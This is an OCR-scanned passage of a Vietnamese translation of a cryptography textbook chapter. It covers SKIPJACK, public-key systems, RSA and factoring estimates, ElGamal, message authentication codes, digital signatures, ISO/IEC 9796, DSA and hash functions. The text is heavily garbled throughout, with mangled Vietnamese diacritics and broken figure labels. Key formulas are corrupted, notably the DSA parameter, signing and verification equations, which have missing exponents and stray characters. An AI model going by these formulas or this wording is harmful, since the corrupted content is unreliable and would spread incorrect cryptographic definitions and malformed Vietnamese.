dung trong su lién két vé6i cac ché dd thao tac gidng nhau nhu la DES. Khéc
vol DES, su xac nhan day du ve thuat toan mo1 duoc phan loai, do vay
khong coéng khai c6 sin . Theo dung tién trinh nay, thuit toan duoc danh
riéng dé thay thé su bao vé thong tin nhay khong phan loai clia chinh phu
cua DES.

Thang 4 nam 1993 thong bao cling mieu ta mot su thue thi cua thuat
toan SKIPJACK trén mach dién tir duoc thiét ké deé tro giup cdng nghé giao
kéo khoa. Mach dién tir nay duoc thiét ké béi NSA, cung cap luét phap cho
s can thiét tuin tha theo ludt phdp bdi qua trinh mi hoa phat sinh, theo ca
van ban ma hoa, mot truong tuan thu theo luat phap. Truong nay dugc gui
vo1 vin ban m3 dé giai m3 mach dién ti. Chl dé nay giam hai biéu tuong
thong tin khoa 80-bit doc 1ap tu hai tac nhan giao keo doc 1ap, thao tac theo
su kiém soat nghiém ngit, Truong tudn tha theo Luét phap c¢é kha ning phat
hién khoa m3 hoa cho mét co quan cé quyén ngin chin nhitng lién lac dé.

4.2 Hé thong ma khoa —chung

Cong nghé mat mad khoa- chung dwoc gior thieu vao nam 1976 bd
Whitfield Diffie va Martin Hellman cua truong dai hoc Stanford [DIF1]. Tw
d6, cong nghé nay di duoc ké theo mot dudng dan phat trién rat dang chi y
[DIF2] va bay gid ¢ thé duoc cin nhic ki cang.

Nguoc la1 cac he thé-ng ma ddi xung, he théng ma khoa- chung su dung cac
cip khoa bd sung dé phéan chia cac chirc ning clia su mi hoé va su giai ma.
Mot khod, khoa riéng, dwoc gitt bi mat giong nhu la mot khoa trong hé
thong mi @61 xtmg. Kho4 khéc, khoa chung, khong can thiét gitt bi mat
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Figure 4-2: A Public-key Cryptosystem
Hinh 4-2 Hé théng m3 khoa chung

Chu y: B’s public key: khoa chung cua B (a): Encryption mode: ché d6
ma hoa.

B’s private key: khoa rieng cua B (b): Authentication Mode: Ché
do xac nhan

Phaintext: Van ban ro A’s private key: khoa riéng
cua A

Ciphertext: Van ban ma A’s public key: khoa chung
cua A

Hé théng phai c6 dic tinh la nhitng kién thirc cia khoa chung d3 dua ra, nd
s& khong thé thuc hién duwoc dé xac dinh khoa riéng. Su tiép cin hai khoa cé
thé don gidn hoa su quan 1y khoa bing so luong khoa t6i thiéu can thiét dé
quéan 1y va luu trit trong mang, va tao khi ning cac khoa duoc xiy dung
thong qua cac hé théng khong dwoc bao vé nhu 1a cac dich vu thu muc
chung.

C6 hai ché do su dung he thémg ma khoa — chung, phu thudc vao khoa
chung nao d woc st dung nhu la mot khoa ma hoa hoac khoa giai ma ( xem



hinh 4-2). Muc dich dé ton tai nhitng thu muc chung la chira dung nhimg
khoa chung cho su thiét 1ip cac n 6m lién lac. St dung nhitng khoa nay nhu
la nhitng khoa m3 hoa, bat ky nhém nao déu cé thé gl tin nhin tin ciy téi
bat ky nhém nao khic. Chi duy nhat ngudi nim gitt cac khoa riéng tuong
quan c¢6 thé doc tin nhin d6. Day la ché dé ma hod.

Bing cach st dung khoa d3 phat hanh nhu 1a khoa giadi m3, mat ma
khoa chung c6 thé duoc st dung cho su xac nhin ngudn goc dit liéu va cho
qua trinh dam bao tinh ven toan cia mot tin nhin. Trong trudmg hop ai dé
c6 thé nim g1 duoc khoa giai ma thue muc va co thé tr do6 doc thong tin.

Ngudi doc cling biét ring chi duy nhat nguoi nim giit khoa riéng tuwong
quan co thé tao tin nhin doé. bay la ché do su xac nhan.

He thé}ng ma khoa chung co thé thao tac & ca cac ché dd nay duoc goi
la hé théng md khod chung ddo ngwoe. Mot vai hé thong m3 khoa chung cé
thé thao tic & ché dd xac nhin nhung khong & ché dd m3 hoa. Chung duoc
biét nhu 1a cac hé thong md khod — chung khéng ddo nguorc.

Cac hé thaf‘::ng ma khoa — chung dua ra mot su thach thuc lon hon
nhiéu do1 véi nguoi thiét ké thuat toan hon 1a cac hé thong m3 doi ximg, bai
vi khod chung dai dién thong tin truyén thong ma co thé duoc si dung dé
tAn cong cac thuat toan. Cac heé tht’f}ng khoa -chung hién tai sur dung dwa vao
do dai cua chung trén nhitng xac nhan co ban cu thé. la van dé toan hoc rat
kho giai quyét.

Thuat toan RSA

RSA 1a mot hé thong mi khod — chung dao nguoc, duoc dit tén sau khi
nguo1 phat hién ra no la Rivest, Shamir, va Adleman, tuw MIT. M0 hinh cta
hé thong duoc xuit ban 1an dau tién vao naml978 [RIVI] Thuc té nd dua

ra cach su dung la trong khi tim klem cac 50 I6n dau tién tuong d6i dé, thi
san xuat ra san pham cta hai trong sd cac s6 dé duoc ma d i timg khong thé
lam d uoc.

Mot cap khoa RSA duoc tao nhu sau. Mot sO nguyen e duoc chon, la
mot s6 mil chung. Hai sb 1én chinh. p va q, sau do duoc lua chon mot cach
ngAu nhién, phu hop véi diéu kién 1a ( p-1) va e khong ¢6 cac s6 chia chung,
va (q-1) va e khéng c6 cac s6 chia chung’. Cac mdédun chung cé gié trin n=
pq. Gia tri clia n va e cung nhom khoa chung. M6t s6 m i riéng, d, sau dé



duoc xac dinh nhu 1a (de-1) cé kha ning chia cho ca (p-1) va (g-1). Gia tri
cuan a d (hodc p,q, va d) cung nhau tao thanh khoa riéng.

Cac s6 mil déu cé dic tinh quan trong la ham d 1a s6 nghich dao cta
e, nghia la vol bat ky mot tin nhin M nao, (Me) d mod n= M mod n. Pé biét
chi tiét vé viéc dua ra cac thuat toan cho két luan nay, xem [RVI1].

Qua4 trinh m3 hoa tin nhin M lién quan dén qua trinh tinh toan Me
mod n. Diéu nay c6 thé duoc dua ra bdi bat Iy ma biét duoc khoé chung, vi
du., n va e. Qua trinh gidi m3 tin nhin M’ lién quan dén qua trinh tinh toan
M’d mod n. Piéu nay yéu cau su hiéu biét vé khoa riéng.

o dai cua RSA thinh thoang cling duoc dat cau hoi. Do la mot cach
hién nhién dé duwoc ngit — ma 1a thira s6 ciia médun n, st dung bat ky kién
thirc nao vé cac phuong phap phan tich thanh thira s6. 6 dai phu thudc vao
thoi gian d3 yéu cau va gia tri ctia thiét bi ma cé thé thuc hién su phan tich
thanh thua SS.Qué trinh tiép tuc giam gia tri cua thiét b1 da duoc dua ra
tinh toan trong su cin nhic d6 dai ciia RSA trong tuong lai.

> Cac rang budc khac cling ¢ thé duoc dam bao dé tranh cac khod “yéu”;
xem vi du [GORR1]. Tuy nhién, nhitng rang budc nhu viy cé khi ning
thay d6i nhu la trang thai khéo 1éo cta su gidi mi cic mat m3 trudce. Trang
thai khéoléo trong san xuit nim 1990 duwoc minh hoa béi kinh nghiém
quang cdo tot bdi M.Manasse va A.Lenstra ma st dung mdt mang gin két
l6ng 180 ctiia 200 tam k¥ thuét, thanh cdng trong qua trinh san xuit mddun
116- ky $6 trong mét thang.

Cai c6 thé dua cho chung t6i su tin cay tot d6 la RSA sé bao tri dd dai
ctia ching trong twong lai trén thuc té la su gia ting rat nhd trong kich c&
cua céc modun dua ra dgn dén su gia ting manh trong yéu ciu phén tich
thira s6 cta né ( khi quy tic ngdn tay cai, véi cac thuat toan phan t ich thua
s6 hién tai , tang kich ¢& cua cac modun bang ba ky s6 gap doi su phirc tap
phan tich thtra sO cta no).

Gia s, vi du chung ta dé xuat mot chut vé cong nghé Manasse va
Lenstra va gid dinh ring mot médun 150- k¥ s6 ¢é thé dwoc phan tich thira
$0 trong mot thang . Néu chung ta tao mot suw mo rong cac c& modun tuong
dd1 vira phai cho 200 hoac 250 ky so, thoi glan yéu cau dé thuc hién su phan
tich thanh thira s6 giong véi cong nghé duoc trinh bay trong bang 4-1. Nrf.-
c6 thé duoc xem nhu la su phat trién gap muot, gap tr3m, hodc thim chi gap
nghin lan trong cong nghé ma co thé dé dang dém duoc bdi mot su gila tang



don thuan trong ¢& clia modun. Vi vy, dé RSA duoc an toan, bay gid hoic
twong la1, mot cach don gian la tao mot lua chon nhay cho kich ¢& modun.

So cac ky s6 Thot gian phan
tich
thanh thtra s6
150 1 thang
200 100 n3m
250 500,000 nam

Bang 4-1: Thoi gian phén tich thanh thira s6 mot Médun RSA

T4t nhién dé 1a mot khi ning cia su choc thing phong tuyén trong
cac phuong phap phén tich thanh thira s6. Tuy nhién, nha toan hoc di ting
tim kiém céac thuit toan phan tich thira s6 nhanh trong nhiéu nim qua ma
van chua thanh cong. Su chung thuc chinh cho d6 dai ctia RSA la né di gift
vitng rat nhidu n3m dé cac chuyén gia tiép tuc thit phd v& né.

Mot thiéu sét chinh ctia RSA, qua trinh xu ly suw ma hoa va su giai ma
cao hon nhiéu véi hé thong mi d6i ximg giong nhu DES . Vi vay, RSA hiém
khi1 duoc st dung cho su ma hoa dit ieu lon. Tuy nhién, RSA co mot vai
ung dung quan trong — dugc thdo luin theo chit ky k¥ thuit so, sw quan 1y
khoa, va cic chu dé vé su xac nhén sau. Ngay nay, RSA dang dwuoc su dung
rong rai trong cac san pham & cac dang khac nhau bao gom cac mach r:ihen
tir lam bing cac manh silic nho, cac chuong trinh xur ly tin hiéu k¥ thuat sO
(DSP), va phan mém thuong.

Khi nang thuc thi cua RSA phu thudc 1on vao ma thuat toan modun
phu hop véi bo xr Iy da dung. Moét vai diém bat dau hitu ich la [BRIL
SHA1] néu cin nhic mét su thuc thi phan cting, hoic [DUS1] cho mdt su
thuc thi phan mém..

Thuat toan ELGamal

Nim 1985, ElGamal [ELG1] dé xuat mdt hé thdng m3 khoa- chung thay
do1, dua trén mot van deé toan hoc khac biét co ban to1 RSA. Thuat toan nay
phu thudc vao su phuc tap cua qua trinh tinh toan cac loga ro1 rac qua cac



truomg c6 han. Pon dé nghi ctia ElGamal bao gdm cac co ciu cia ca ché db
m3 hoa va ché dd xac nhan. Trong khi co cau ché dd m3 hoa khéng duoc
khai thic, co ciu ché dd xac nhin c¢6 nhiéu hiap dan thi vi va di thuc hién
co ban Tiéu chuan Chir ky K¥ thuit sé cia My di dé nghi (DSS). Thuit
toan DSS duoc thao luin trong phan 4.4.

Dé biét chi tiét vé& su so sanh cua cic hé théng m3 RSA va ElGamal,
xem [VAN2].

4.3 Cac gia tri kiém tra tinh ven toan ( Niem phong)

Tién ich cua cac cong nghé mat ma mo rong hon nhiéu so véi cac diéu
khoan clia cac dich vu tin cdy. Ching ta cAn nhic tiép nhiing cong nghé dé
o thé cung cfip co ban tinh ven toan dit liéu va cac dich vu xac nhan nguén
gbc dit liéu nhu thé nao.

Tinh ven toan dit lieu va/hoac su xac nhan nguén géc dit ieu cac thong tin
¢ thé duoc cung cip nhu sau. Ngudi sang tao tin nhin phat sinh, sit dung
tat ca cac bit dit liéu trong ndi dung tin nhin, mét phu luc duoc truyén theo
tin nhin d6. Nguoi nhin tin nhin kiém tra ndi dung tin nhin d3 nhin va
phu luc da ton ta1 trroc khi nhan no1 dung tin nhin khi dang xac thuc.

Piéu nay tuong tu nhu cac thu tuc do tim 16i chung, nhu 1a qua trinh
tin cdng mot kiém dd du vong (CRC) vao tin nhin. Tuy nhién, cé mot su
khac biét lon. Toan canh cuoc tan cong chu dong da duoc dua ra tinh toan.
Néu mét ké tan cong chi dong thay doi tin nhin, s& khong cé gi ngin cin
anh ta tinh toan lai va thay thé CRC & tin nhian d6, vi vy nguoi nhan tin
nhin s& khong phat hién ra 1a di ¢6 su thay d6i dit liéu. Dé bdo vé chong lai
nhitng cudc tan cong do mot lan nita, sé phat sinh phu luc dung mot khoa bi
mat. Nguo1 nhan tin nhin do cé thé tin rﬁng, néu ndi dung tin nhin va phu
luc van ton tai qé nhan , phu luc da phat sinh bd1 a1 do ma biét duoc khoa
d6. Vi vy, su thay doi tin nhin b&i mot ké xam phim s& gan nhu bi phat
hién.

Tha tuc kiém tra tinh ven toan duoc biét béi rat nhiéu tén. Trong linh
vuc nha bing nd duoc goi 13 sw xde nhdn théng tin. Trong tiéu chuin an
toan OSI, no thuwong duoc go1 la Sw niém phong. Phu luc nay duoc biét theo
mot cach khac la niem phong, kiém dd ven toan (ICV), ma xac nhan thong
tin (MAC), hodc ma ven toan thong tin (MIC).



Co cau chung duoc minh hoa trong hinh 4-3. Tai hé thong gbc, mot
qua trinh phat sinh phu luc mit mi duoc tmg dung thong qua tin nhin, dé
thu lai mot chudi phu luc ( thuong rat ngan) ma kém theo mét tin nhin qua
canh. Tai hé théng nguoi nhin, mot qué trinh phét sinh phu luc giéng nhu
vay duoc ung dung vao tin nhin A3 nhan, su dung cung mot khoa, va két
qua duoc so sanh vo1 gia tri phu luc da nhan voi tin nhin doé.

Cac tiéu chuan cong nghiép ngan hang ( vi du., ANSI X9.9 va ISO
8730) chi rd mot qua trinh phat sinh phuluc cu thé dé ing dung téi cac ma
xac nhan tin nhin cho sur truyén dich ta1 chinh. Qua trinh nay, sir dung hé
thong m3 d6i xtimg nhu 1a DES, duocminh hoa & hinh 4-4. N6 lién quan dén
nhom tin nhén khi can thiét dé thanh nhiéu c& khoi hé thong ma (64 bit cho
DES), sau do ung dung qua trinh m3 hoa trong ché dd CBC dé phat sinh
mot phu luc. Dé biét su khac nhau cla cac cang nghe, xem [JUEI|.

CAc qu trinh phat sinh phu luc khac ton tal, nhu la da duoc thao luan
trong [TSUI1] va duoc st dung vol giao thire Mang SNMP (d v oc miéu ta
trong chuong 15).

ORINGINATOR RECIPIENT
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Key 7 R ransmitted Message Key T
Generate A OO _ Generate
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i :
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If there are the samea then
message integnty is venfied

Figure 4-3: General Sealing Scheme

H inh 4-3: Co cau niém phong chung

Chu thich:
Orginator: ngwol gui Message: Tin nhan
Actual appendix:phu luc chinh Expected Appendix: phu luc

duoc mong doi
Generate appendix:phu luc phat sinh Key: khoa.



It there are the same then message integrity 1s verified: Néu chung gi{;jng
nhau thi sau do tinh ven toan cua tin nhan duoc nhan dang.

X i 2 Y ¥
| Encrypt Encrypt | Encrypt Encrypt
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A XOR XOR AOR
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Message Appendu-:

Figure 4-4° Appendix Generation Using a Symmetric Block Cipher
H inh 4-4: S v phat sinh phu luc st dung mot ma khoi doi x ung
Chu thich:
Ecrypt: Ma hoa Message: Tin nhin Appendix: phu luc

Tiép cin nay, d3 minh hoa & hinh 4-5, khoéng yéu cau st dung hé théng ma
d61 xtmg, nhung thay vao d6 dung ham phan cach. Mot ham phan cach 1a
mot ham ma sip dit cac gia tri tir mot mién 16n( ¢ thé 1a rat 1én) thanh mot
Su SAp }{ép tirong d6i nhé 6.( Cac ham phén cit duoc thdo luan nhiéu hon
trong phan 4.4.) Qua trinh phat sinh phu luc lién quan dén hoic tién t6 hoac

hau t6 mot khoa bi mat cud chudi dit liéu tin nhin, sau d6 ap dung ham phan
cit cho xich chudi nay. San phim ctia ham phén cit cung cap phu luc nay.

Message

Hash
Function

i & AR ;'*4:-“’
e F Piiors 'a‘?:"-;’"i?-'-'.i:'
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Figure 4-5: Appendix Generation Using a Hash Function

H inh 4-5: Su phat sinh phu luc st dung ham phén cit



Chu thich: Message: Tin nhin Appendix: phu luc
Hash function: ham phan cit.

® Thinh thoidng duoc xem xét thanh hai kiéu ham phan cit — cac ham phan
cit khong khoa, ma ludbn phét sinh cing mot dit liéu ra tir cing mét dit lidu
nhap, va cac ham phan cit khoa, ma ding mot khoa mat mé nhu la ngd nhap
phu. Trong sach nay, cach sur dung ham phan cit hang khong chat lwong nén
dwa ra dé dinh huéng mo6t ham phan cit khong khoa.

4.4 Chir ky dién tu

MOt chit ky dién t& c¢é thé duoc luu ¥ den trong truong niém phnng dac
biét. N6 duoc st dung & nhitng noi ma can du su tin tuéng tir ngudn cua
tin nhin ( khi dinh dang thong qua niém phong) ma né cé thé duoc xem
xét it nhat 1a tot nhu sw phéan loai ngudn viét tin nhin trén co ban cia chit
ky. Chit ky dién tfr c6 thé duoc dung nhu 1a khai niém co ban cta viée
tai gleu quyét lai van dé gifta ngudi giri va nguoi nhan tin nhin ( vi du
mdt kiém tra hoic vin ban thlr{rng ma1} Nhém ma hau hét dat duoc
bing viéc lam gia mao tin nhin sé& c6 khi ning dua té1 ngudi nhan. Vi
viy ngudi nhin s& khong cé khi ning tao ra ch @t ky dién t& ma khong
thé phan biet duoc so vo1 chit ky cua nguol gu.

Vi I¥ do nay, mot qua trinh niém phong gidng nhu cac qua trinh dua
trén co ban DES hodc su phan cit d3 duoc miéu ta & trén ludn khong
twong xtng véi mue dich nay. Ngudi nhan biét cai khoa di st dung tao
ra niem phong. Cach duy nhét dé st dung mot qua trinh nhu vay cho muc
dich chit ky dién tir la su két hop mot thiét bi phan cing an toan ma chiu
sur kiém soat cia nhom thir ba tin cay. Nguol nhan duogc cung cﬁp mot
thiét bi chong trom ma cé khi nang phéin loai ddu niém phong nao 1a
dung nhung khong c6 khi ning tao ra mot dau niém phong giong nhu
khoa @6. Cai khoa duwoc luu trit bén trong mot thiét bi noi ma ngudi nhan
khong thé truy cap vao dé duoc, nhém thir ba tin ciy s& quan ly noi do.
Cac he thé}ng ma khoa- chung cung cﬁp nhiéu nang luc chit ky dien tu
manh hon, va khoéng yéu cau su phan loai khoa phai giit bi mat do6i voi
nguol nhan.
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Figure 4-6; Simplistic Digital Signature Scheme
H inh 4-6: Co cau chit ky dién tr don gian

Chu thich: Originator: nguon gui Recipient:nguol nhan
Message: tin nhin Public key: khoa chung
Encrypt : ma hoa Decrypt: gia1 ma
Appendix:phu luc Private Key:khoa riéng

Expected Message: tin nhin d woc trong mong
Transmitted Message: tin nhan da truyen

If these are the same then the signature is verified: Néu chting gidong nhau thi
sau do chit ky duoc nhan dang.

Mot cong nghé chit ky dién to don gian dang ung dung vao mot he
thong m3 khoa — chung dao nguoc nhu 1a RSA dwoc minh hoa trong hinh 4-
6. Ngudi gti tin nhin tao ra mot phién ban tin nhin d3 mi hoa, st dung hé
thong khoé- chung trong ché d6 su xac nhan( vi du., khod m3 hoé 1a mot
khoa riéng ctia nguoi giti). Phién ban m3 hoa cla tin nhin nay duoc gt nhu
la mot phu luc, theo cung vor tin nhin vin ban r6. Nguo1 nhan can biét
duoc khoa giai mi twong tmg( khoa chung clia nguoi giri), ma cé thé giai
m3 phu luc va so sanh né véi ndi dung vin ban rd. Néu hai cai déu giéng
nhau, nguoi nhan cé thé dam bao ring nguoi gui di biét khoa m3 hoa, va
ndi dung ctia tin nhin sé& khong bi thay ddi trén duong di.

MOt co cau chit ky dién tir trén co s& khoa chung giéng nhu & trén
cling c6 thudc tinh cé gia tri 1a bat ky mot ngudi nhén tin nhin nao sé& c¢é kha
n3ng kiém tra chit k¥ , bdi vi khoa gidi m3 ( khoa chung cia ngudi giti) c6
thé duoc 1am chung chung ma biét khong can giao kéo an toan.

Mbt su phan d6i co cau & trén la gia cla nd trong giai doan Xt Iy va
lién lac ¢ truoc. Sw ma hoa va su giai ma da duoc ung dung cho toan bo no1



dung tin nhin, va s6 luong dit liéu d3 duoc gt la it nhat gap déi kich ¢& tin
nhan co ban. Co cau nay cling yéu vé mat mat ma ma co thé khac phuc duoc
Vo1 su sira o1 ma chung ta mieu ta [DEN3|.
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Figure 4-7. Digital Signature Scheme Using Encrypted-Hash Appendix

hinh 4-7: Co cau chit ky dién ti stt dung phu luc phén cat da ma hoa

Chu thich: ’

Orginator: nguol gui Message: Tin nhan

Actual digest: dien bao chinh Expected Appendix: phu luc
dugc mong doi

Digest: dién bao Private Key: khoa.riéng
Recipient: nguol nhan. Hash function: ham phan cit
Public key: khoa chung Expected digest: dién bao duoc
trong mong

Encrypt : ma hoa Decrypt: gia1 ma

Transmitted mesage: tin nhin d3 truy én
If there are the same then message integrity 1s verified: Néeu chung giong
nhau thi sau do tinh ven toan cua tin nhan duogc nhan dang.

Dé chimg minh co cau nay,mot ham phan cit duoc dwa vao qué trinh
x@ Iy nhu hinh 4-7. Ham phan cit duoc st dung dé tao ra mot biéu tuong dit
liéu nhoé hon nhiéu tir ndi dung tin nhin yéu cau su bao vé goi la dién bao.
Dién bao nay c6 thudc tinh 1a thong thuong bat ky mot su thay ddi nao cla
tin nhin s€ dua ra mot dién bao khac.



V&1 co ciu nay, nguoi g ap dung ham phan cit dé dat duoc dién
bao, sau dé mi hoa dién bao dé dua ra phu luc ma dwoc truyén dich cung
vdi tin nhin. Khi nhan tin nhﬁn, nguol nhan tinh la1 dién bao va gia1 ma phu
luc. Sau do no so sanh hai gia tr1 do. Néu chung xung nhau, sau do nguoi
nhan duoc dam bao ring nguoi gl d3 biet khod ma hoa, va ndi dung cda tin
nhin dé khong bi thay ddi trén duong di.

Khi sur dung RSA theo cach nay, hiep dinh kem theo gia tr1 dang b1
m3 hoé rat quan trong. Vi du, néu dién bao phan cit ngﬁn hon nhiéu so vdi
modun RSA, va duoc gan vao thém bit 0 vao cudi hang bén trai, diéu nay
dan dén két qua la img dung vao RSA dua ra mét gia tri s6 nguyén rat nhd.
Piéu nay chic chin tinh trang yéu kém clia mat m3. Néu gan thém bit 1, tinh
trang yéu kém d6 khong con nita. Nhitng co cau gan thém vao phuc tap hon
duoc qé cap bd1 mot vai nha nghién cuu.

Céc cdng nghé khac cung cap chit ky dién t& d3 duoc phat minh, xem
[MIT1] day da cac thong tin. Hai cong nghé chuyén biét duoc 4n dinh dudi
d4y — tiéu chuin ISO/IEC cho céc chit ky dién tir dé khoi phuc tin nhin, va
Tiéu chuan Chit ky Dién t&t M§ (DSS). Ca hai cong nghé nay déu rat quan
trong, bdi vi dang duoc biéu hién trong cac tiéu chuan nhan dang.

Chir ky dién tu voi sw phuc héi tin nhan

Tiéu chuan Qubc té ISO/IEC 9796 dinh nghia mot cdng nghé chit ky dién ti
ma c6 thé hoic khong co thé st dung phu luc dua trén su tiép can chir ky
dién t&. Cong nghé nay duoc thiét ké dé danh dau tin nhin cé dé dai gidi
han, vé1 mot yéu cau nguon toi thiéu cho sw phan loai. N6 st dung mot hé
thong m3 khoa- chung dao nguoc, thuong 1a RSA.

C6 hai cach st dung tiéu chuin ISO/IEC 9796

. Mot phuong phép danh dau céc tin nhin rat nhé. Ham phan cit
khong lien quan, va nd1 dung van ban r6 cua gia tr1 da ky hiéu duoc
sang ché nhu 1 phan cda qué trinh phan loai ( gi4 tri d3 ky hiéu duoc
chuyén d6i mot cach hiéu qua trong mét dang di m3 hoa théng qua
qué trinh x& Iy chit k¥). Nhitng dic diém nay rat phu hop dé cac yvéu
cau chit ky duwoc bat gip trong su xac nhan va cac giao thirc quan 1y
khoa

. Mbt thudt toan chit ky duoc 4p dung cho mdt dién bao di phan cit
cia mdt tin nhin 1én. Sé lwong nay ap dung mot quy woc gan vao



phirc tap cho dién bao. ( cong nghée ISO/ IEC 9796 duoc st dung theo
cach nay trong ti€u chuan chit ky ANSI RSA, phan 1 cua X9.31))

Dé giai thich qué trinh x 1y ISO/IEC 9796, gia dinh rﬁng thuét toan
dao nguoc di dung la RSA. Do dai cla tin nhin di danh dau khc:ng duoc
16n hon mot nira ¢& ciia modun RSA. Qué trinh danh dau lién quan dén cac
buoc:

- Cac bit cua tin nhan duoc gan voi cac bit 0, néu can thiét | dua mot
sO nguyen cua bo bat phan.

-Chuod1 két qua duoc mo rong, néu can thiét, bang cach tu lap lai
chudi1 xich de dwa ra mot chuoil vor do dai it nhat bang mot nwa c&
cua modun RSA.

- Su du thura nhan tao duoc thém vao bi‘ing su xen k€ bod bat phan tin
nhan da mo rong voil bo bat phan du thua, cac gia tr1 ma duoc phan
phat tur bo bat phan tin nhan da mo rong tuong trng.

. Chit ky duoc bao gdm b1 mot sw m3 hod RSA trén két qua.
Tiéu chuan Chir ky Dién tir My

Vao thang 8 nam 1991, Vién nghién ctru Qudc gia vé Tiéu chuan va Cong
nghé ( NIST), di cong bo mét théng bao vé Tiéu chuan Chit ky Dién ti d3
dé nghi ( DSS), véi mdt yéu cau nhin xét ngay tiép sau dé [NIS3]. Cung véi
thong bao nay, mot su xac nhan k¥ thuat cho tiéu chuan di dé nghi di cé
san, mo ta Thuat toan chit ky Pién t& (DSA). Su xem lai chung vé DSS a3
Aaé ngh1 c6 két qua 1a phd nhén 101 nhan xét dé ( xem [RIV2] cho m6t miu
tot). Y chinh ctda loi nhin xét phan d6i 1a k§ thuat va su thuc thi lién quan,
phan d6i dua DSA vao canh tranh véi tiéu chuan chit k¥ RSA khéng chinh
thirc, va cac van dé hién nhién. NIST hoi dap la trong [SMI2]. Loi nhan xét
phin d6i d3 dua két qua vé mdt vai k¥ thuat nhé dé thay déi dé nghi, ma
sau d6 dang duoc xuc tién bdi NIST theo an phim nhu 1a tiéu chuan FIPS
PUB. N6 ciing duoc xuc tién nhu phan 1 cia tiéu chuan X9.30 ctia ANSI .
DSA dung m6t hé théng khoa chung khong ddo nguoc, trén co s& su
tiép can cta ElGamal, duoc stra d6i béi Schnorr [SCH1]. Su an toan cda nd
phu thudc vao mirc do phtrc tap cua viéc tinh toan cac loga roi rac. Xem:



y=g" mod p

Trong dé p 1a mot s6 nguyén t6 va g la mot phan t& cud modun p bac lén
hon’. N6 don gian tinh 1a y, d3 cho g, x, va p, nhung rat kho dé tinh x, d3
cho y, g, va p. Piéu nay dua ra mot nén tang cho hé thong khoa — chung
trong do x la mot khoa riéng Vé y la mot khoa chung.

He thn::r-ng stt dung ba s6 nguyén, p, q, va g ma cé thé duoc tao chung
va phd bién cho cdc nhém ngudi st dung. p la m6t médun nguyén, ma nim
trong khoang 512 dén 1024 bit 8. q la mot s6 chia nguyeén 160 bit. g chinh
bang:

g=j [V 154 p, trong A6 j 1a bat ky mot sé nguyén duong ngiu nhién
voll <j<p
e
j @Dl gy6d p>1.

Dé nguoi gl dua ra, khoa riéng x duoc chon mot cach ngiu nhién, véi 1<
X< q.
Khoa chung y duoctinh nhu ¢ trén.

Qua trinh danh dau va phan loai mot tin nhin duoc minh hoa trong
hinh 4-8. Dé ky hiéu modt tin nhin ma cé dién bao h, nguoi st dung chon
mot gé nguyén ngau nhién k ( véi 0< k < q) va tinh, sit dung khoa riéng x,
hai so:

r = (g mod p) mod q
s = (k™ (h+xr)) mod q

trong do6 k-1 1a nghich dao ctia k mod q; vi du ., (k-1*) mod q = 1 va 0< k-1
< q. Mot cap gia tr1 (r,s) tao thanh phu luc chit ky cho tin nhin.

bé phan loai mét chit ky d3 nhan roi ( bao ', s’) kem theo moét tin
nhin véi dién bao h’ ngu*m nhin dau tién kiém tra ring 0< r'< q va 0< §’<
g. Néu mét trong hai diéu kién nay bi sai, chit ky do sé€ b1 loa1. Ngoai ra,
ngudi nhin sau do tinh tir s” va h> a gia tri v. Bé chit ky dwoc phan loai
chinh xac, gia tri nay can phai giéng nhu 1a gia tri r’ d3 dwoc gl trong chit
ky. Cong thuce tinh v nhu sau:



w=(s’ )'1 mod q

ul = (h’")mod q

Diéu nay cé nghia 1a s6 nguyén duong nhé nhét i, chinh 1a gi mod p
=1, la dua lon.
5 C& ciia moédun la mét thong sb thuét toan, ma cé thé dua gia tri tu
512 dén 1024 bit véi so gia 64 bit.

ORINGINATOR RECIFIENT
P L i A
7 Message L Message
i A ' A, ith
¥ . Transmitled Message ¥
Hash Function a - I Hash Function
3 Message| r s -
Private  Digest L i N E Digest
Key x ! Ay s 1
v Fublic VR
Keyy - :
Generate _ 7 Venfy
Random ; =
k. e 'I'F?ﬁ.'h. E L}
— : r v
r s

If there are the same then
message integrity is varified

Figure 4-8: DSA Digital Signature Scheme

h inh 4-8: Co cau chit ky dién tir DSA

Chu thich: :
Orginator: nguo1 gu Message: Tin nhan
Dagest: dién bao Private Key: khoa.riéng
Recipient: nguol nhan. Hash function: ham phan cat
Public key: khoa chung Random: ngau nhién
Generate: phat sinh Verify: nhan dang

Transmitted mesage: tin nhin d3 truyén
If there are the same then message ntegrity 1s verified: Néu chung giong
nhau thi sau do tinh ven toan cua tin nhan duoc nhan dang.

u’=((r’) ") mod q



ul

v=((g" y") mod p) mod q

bé chimg minh tinh hop phéap ctia nhitng cong thirc toan nay, va tinh
khong thé lam duoc aé tao ra mot cap r, s hop l€ ma khong can biét khoa
riéng X, Xxem cac phu luc dé xac nhan DSA.

Chu ¥ ring mot su thuc thi cia DSA khong cung cap bat ky mot kha
ning m3 hoa dit liéu nao cho cac muc dich dang tin ciy. Trong khi diéu nay
c6 thé xuat hién mot s6 khuyét, nd cé thé cé loi béi vi nd ¢o thé khé hon dé
dat duoc mot chung minh cho thiét b1 co kha nang ma hoa. Cac dac diém
khac cua DSA la qu{fl trinh phan loai ctia né s& nhiéu qua trinh x Iy nguon
chuyen sau hon qua trinh tao cua no.

Cac co cau chit ky dién t& DSA va RSA c¢é khi ning duoc xem nhu
la cac @6i thi cho mét vai lan téi. Trong nhém céc ham da cung cap ( cho
muc dich chu‘ ky dién t&) va d6 dai mit m3, cic co cAu gan nhu tuong
duong nhau vé co ban. Vi vay, su lua chon gifra chung s€ dua trén cac nhan
td6 nhu la su thuc thi, van dé ban quyén, va tinh chat c6 thé chﬁp nhin vé
chinh tr1

Cac ham phan cat

Cac ham phan cat duoc st dung trong niem phong hodc cac qua trinh chir ky
dién ti can thiét dé co cac thudc tinh sau:

Ham phai duoc tinh toan sao cho khong cé kha ning tao dwoc mot
tin nhin ma cac phén cit d3 dwa cho dién bao.

No phai duoc tinh toan sao cho khong co kha nang tao dwoc hai
tin nhin ma phén cit cing mot dién bao.

Bat ky mét thudc tinh nao yéu kém c6 thé dua ra két qua ciing yéu kém
trong niém phong hoidc qua trinh chit ky dién sit dung ham phén cat. Vi du,
néu mot ké tan cdng chi ddng cé thé kiém tra mot tin nhin va dién bao dé
va suy ra noi dung cua tin nhin khac véi cung mot dién bao, anh ta co thé
thay thé ndi dung tin nhin dé. Su thay thé s& khong bi phat hién bat chap dd
dai ctia hé thong m3 da s dung trong phu luc phat sinh.



Thiét ké mdt ham phén cat tot da ting ching minh mot tac vu phirc
tap. Nhiéu ham phén cit khac nhau d3 duoc dé trinh, sau d6 chuyén dé dé
di timg c6 su yéu kém vé sip xép ( xem [MIT1] dé biét chi tiét hon). Tai
